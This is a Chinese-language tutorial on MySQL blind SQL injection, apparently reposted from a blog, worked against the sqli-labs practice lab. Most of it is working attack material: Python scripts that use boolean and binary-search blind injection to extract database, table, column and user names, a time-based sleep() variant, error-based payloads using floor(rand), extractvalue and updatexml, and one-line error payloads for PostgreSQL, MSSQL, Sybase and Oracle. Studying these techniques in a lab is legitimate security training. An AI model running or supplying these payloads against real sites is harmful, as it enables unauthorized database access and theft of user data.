1. 程式人生 > >【SQL注入技巧拓展】————5、MySQL盲注淺析

【SQL注入技巧拓展】————5、MySQL盲注淺析

前言

所有的測試均為無WAF的情況下進行。

註釋關鍵字

--       # 單行註釋,兩個-連線符後面緊跟著一個空格
#	 # 單行註釋
/**/     # 多行註釋

實踐效果:

mysql> SELECT username,password FROM `users` WHERE id = '2'#' LIMIT 0,1;
    -> ;
+----------+------------+
| username | password   |
+----------+------------+
| Angelina | I-kill-you |
+----------+------------+
1 row in set

mysql> SELECT username,password FROM `users` WHERE id = '2'-- ' LIMIT 0,1;
    -> ;
+----------+------------+
| username | password   |
+----------+------------+
| Angelina | I-kill-you |
+----------+------------+
1 row in set

都是可以正常得到查詢的結果
說明後面的SQL語句已經被我們註釋掉了

Sql注入擷取字串常用函式

在不回顯的情況下,多數情況下都會用到擷取字串的問題,也就是在盲注的情況下,需要一個一個字元的去猜解,其中就需要擷取字串。

mid()函式

語法為:

SELECT MID(column_name,start[,length]) FROM table_name;

  • column_name 必需。要提取字元的欄位。
  • start 必需。規定開始位置(起始值是 1)。
  • length可選。要返回的字元數。如果省略,則 MID() 函式返回剩餘文字。

我們就直接使用sqli-labs的資料庫進行演示。

database()為security 
mysql> select mid(database(),1,4);
+---------------------+
| mid(database(),1,4) |
+---------------------+
| secu                |
+---------------------+
1 row in set

其中column_name內容可為自行構造的sql語句。

substr()函式

語法為:

SELECT SUBSTR(column_name,start[,length]) FROM table_name;

描述和用法與mid()函式是一樣的

mysql> select substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1);
+--------------------------------------------------------------------------------------------------------+
| substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1) |
+--------------------------------------------------------------------------------------------------------+
| e                                                                                                      |
+--------------------------------------------------------------------------------------------------------+
1 row in set

Left()函式

語法為:

SELECT LEFT(ARG,LENGTH) FROM table_name;

取一個字串的前若干位

mysql> select left(database(),4);
+--------------------+
| left(database(),4) |
+--------------------+
| secu               |
+--------------------+
1 row in set

布林SQL盲注

用sqli-labs的第6題作為例子

先手工fuzz一下。

http://192.168.2.100/sqli-labs/Less-6/?id=-1
http://192.168.2.100/sqli-labs/Less-6/?id=1'
http://192.168.2.100/sqli-labs/Less-6/?id=1"

"報錯,繼續fuzz

http://192.168.2.100/sqli-labs/Less-6/?id=1"and"1"="1
http://192.168.2.100/sqli-labs/Less-6/?id=1"and"1"="2

存在注入,但是沒有回顯,判斷為可盲注。
測試一下(其實盲注的指令碼真的就只是這幾行,難度無非是在waf過濾函式的替換繞過)。

# ! usr/bin/env python
#  -*- coding: utf-8 -*-
import requests

url = 'http://192.168.2.100/sqli-labs/Less-6/?id=1"'
print("獲取資料庫長度")
for i in range(1, 32):
    payload = "and length(database())=%d--+" % i
    res = requests.get(url + payload)
    if "You are in..........." in res.text:
        print("[+]資料庫長度為:" + str(i) + "位")
        break
結果為
/usr/bin/python2.7 /home/rcoil/PycharmProjects/demo/demo.py
獲取資料庫長度
[+]資料庫長度為:8位

Process finished with exit code 0

所以證明注入確實存在且為盲注,瀏覽器驗證下。

獲取資料庫名字

先測試(fuzz)

發現是可行的。然後寫指令碼進行猜解。

# ! usr/bin/env python
#  -*- coding: utf-8 -*-
import requests

url = 'http://192.168.2.100/sqli-labs/Less-6/?id=1"'
print("獲取資料庫名字")
database = ''
for i in range(1, 10):
    for j in range(97, 123):
        payload = "and mid(database(),1,%d)='%s'--+" % (i, database + chr(j))
        res = requests.get(url + payload)
        if "You are in..........." in res.text:
            database += chr(j)
            print("[-]當前猜解:" +database)
            break
print("[+]當前資料庫:" +database)

如果出現編碼問題,要注意的是headersContent-Type的值,必要的時候帶入headers進行訪問

獲取表名

mysql> select mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,2);
+-----------------------------------------------------------------------------------------------------+
| mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,2) |
+-----------------------------------------------------------------------------------------------------+
| em                                                                                                  |
+-----------------------------------------------------------------------------------------------------+
1 row in set

所以接下來程式碼為

# ! usr/bin/env python
#  -*- coding: utf-8 -*-
import requests

url = 'http://192.168.2.100/sqli-labs/Less-6/?id=1"'
table_names = ''
for i in range(0, 8):
    for k in range(1, 32):
        for j in range(97, 123):
            payload = "and mid((select table_name from information_schema.tables where table_schema='security' limit %d,1),1,%d)='%s'--+" % (i, k, table_names+chr(j))
            request = requests.get(url + payload)
            if "You are in" in request.text:
                table_names += chr(j)
                print("第" + str(i + 1) + "張表的名字為" + table_names)
                break

我發現,如果想要優雅一些,用ascii()或者改變k的位置
比如

and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1))='%d'--+" % (i, k, j)

但是這樣子的話,到最後,所有的table_names都拼接一起(後面補充)。

獲取列名

mysql> select mid((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,4);
+------------------------------------------------------------------------------------------------------------------------------+
| mid((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,4) |
+------------------------------------------------------------------------------------------------------------------------------+
| user                                                                                                                         |
+------------------------------------------------------------------------------------------------------------------------------+
1 row in set

程式碼和上面的沒區別

# ! usr/bin/env python
#  -*- coding: utf-8 -*-
import requests

url = 'http://192.168.2.100/sqli-labs/Less-6/?id=1"'
column_names = ''
for i in range(0, 8):
    for k in range(1, 32):
        for j in range(97, 123):
            payload = "and ascii(mid((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit %d,1),%d,1))='%d'--+" % (i, k, j)
            request = requests.get(url + payload)
            if "You are in" in request.text:
                column_names += chr(j)
                print("第" + str(i + 1) + "列欄位名為" + column_names)
                break

爆欄位

# ! usr/bin/env python
#  -*- coding: utf-8 -*-
import requests

url = 'http://192.168.2.100/sqli-labs/Less-6/?id=1"'
column_names = ''
for i in range(0, 8):
    for k in range(1, 32):
        for j in range(21, 127):
            payload = "and ascii(mid((select username from security.users limit %d,1),%d,1))='%d'--+" % (i, k, j)
            request = requests.get(url + payload)
            if "You are in" in request.text:
                column_names += chr(j)
                print("第" + str(i + 1) + "行資料為" + column_names)
                break

這個布林SQL盲注暫時分析到這裡。如果想要一指令碼搞定以上所有的內容,那就def一下就很方便呼叫了。
寫到這裡的時候,我發現,所有的指令碼都有很多的相同點,只需要更換變數就可以直接使用。而且,在去翻資料的過程中,我發現在bool盲注中二分法比窮舉要快一些,所以我參照王一航的思路進行改寫。

#!/usr/bin/env python
# encoding:utf8
import requests
import sys

url = "http://192.168.2.100/sqli-labs/Less-6/?id="

# 定義payload
def exce(database_name, table_name, column_name, Result, Char, mid):
    global url
    esndStr = " and\"1\"=\"1"
    payload = "1\"and(ascii(mid((select " + column_name + " from " + database_name + "." + table_name + "  limit " + Result + ",1)," + Char + ",1))>" + mid + ")"
    tempurl = url + payload + esndStr
    request = requests.get(tempurl).text
    if "You are in..........." in request:
        return True
    else:
        return False

# 二分查詢
def doubleSearch(database_name, table_name, column_name, Result, Char, left_number, right_number):
    while left_number < right_number:
        mid = int((left_number + right_number) / 2)
        if exce(database_name, table_name, column_name, str(Result),str(Char + 1),str(mid)):
            left_number = mid
        else:
            right_number = mid
        if right_number-left_number == 1:
            if exce(database_name, table_name, column_name, str(Result),str(Char + 1),str(mid)):
                mid += 1
                break
            else:
                break
    return chr(mid)

# 定義所有變數初始
def getAllData(database_name, table_name, column_name):
    for i in range(32):
        counter = 0
        for j in range(32):
            counter += 1
            temp = doubleSearch(database_name, table_name, column_name, i, j, 0, 127) # 從255開始查詢
            if ord(temp) == 1:
                break

            sys.stdout.write(temp)
            sys.stdout.flush()
        if counter == 1: 
            break
        sys.stdout.write("\r\n")
        sys.stdout.flush()

def getAllSchemaNames():
    return getAllData(column_name="schema_name", table_name="schemata", database_name="information_schema")
getAllSchemaNames()

大致思想:
1、mid為left和right的中間值,mid是否和left相等(right-left=1),相等跳到5,如果不等跳到2
2、請求mid,如果返回正確的頁面跳到3,如果返回錯誤的頁面跳到4
3、返回頁面正確,將left賦值為mid
4、返回頁面錯誤,將right賦值為mid
5、返回mid值

二分法它的原理是把可能出現的字元看做一個有序的序列,這樣在查詢所要查詢的元素時,首先與序列中間的元素進行比較,如果大於這個元素,就在當前序列的後半部分繼續查詢,如果小於這個元素,就在當前序列的前半部分繼續查詢,直到找到相同的元素,或者所查詢的序列範圍為空為止。

如果需要查詢資料表和資料表的內容,在getAllSchemaNames()添加個where語句

時間的SQL盲注

延時注入是主要針對頁面無變化、無法用布林真假判斷、無法報錯的情況下的注入技術。

延遲注入主要點是在於if()函式的判斷、

if(condition,true,false) //條件語句

  • condition 是判斷條件
  • true 和false 是符合condition自定義的返回結果。

本地測試感受一下

mysql> select ascii(mid(database(),1,1));
+----------------------------+
| ascii(mid(database(),1,1)) |
+----------------------------+
| 115 |
+----------------------------+
1 row in set (0.00 sec)

mysql> select if(ascii(mid(database(),1,1))=115,sleep(5),1);
+-----------------------------------------------+
| if(ascii(mid(database(),1,1))=115,sleep(5),1) |
+-----------------------------------------------+
| 0 |
+-----------------------------------------------+
1 row in set (5.01 sec)

mysql> select if(ascii(mid(database(),1,1))=114,sleep(5),1);
+-----------------------------------------------+
| if(ascii(mid(database(),1,1))=114,sleep(5),1) |
+-----------------------------------------------+
| 1 |
+-----------------------------------------------+
1 row in set (0.00 sec)

如果condition判斷為正確,則產生延遲,否則不產生延遲。
至於指令碼,修改下上面的指令碼進行判斷即可。

url = "http://192.168.2.100/sqli-labs/Less-9/?id="
esndStr = " and sleep(3))--+"
payload = "1' and ((ascii(mid((select " + column_name + " from " + database_name + "." + table_name + "  limit " + Result + ",1)," + Char + ",1))>" + mid + ")"
tempurl = url + payload + esndStr
before_time = time.time()
requests.head(tempurl)
after_time = time.time()
use_time = after_time - before_time
if abs(use_time) < 0.1:
    return True
else:
    return False

報錯的SQL盲注

如果頁面上顯示資料的報錯資訊,那麼可以直接使用報錯的方式把想要的資訊爆出來。

比如在mysql中我們可以使用如下的經典語句進行報錯。

select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

這是網上流傳很廣的一個版本,可以簡化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果關鍵的表被禁用了,可以使用這種形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用使用者變數來報錯

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

其實這是mysql的一個bug所引起的,其他資料庫都不會因為這個問題而報錯。

另外,在mysql5.1版本新加入兩個xml函式,也可以用來報錯。

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'  
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));  
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

而在其他資料庫中也可以使用不同的方法構成報錯

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--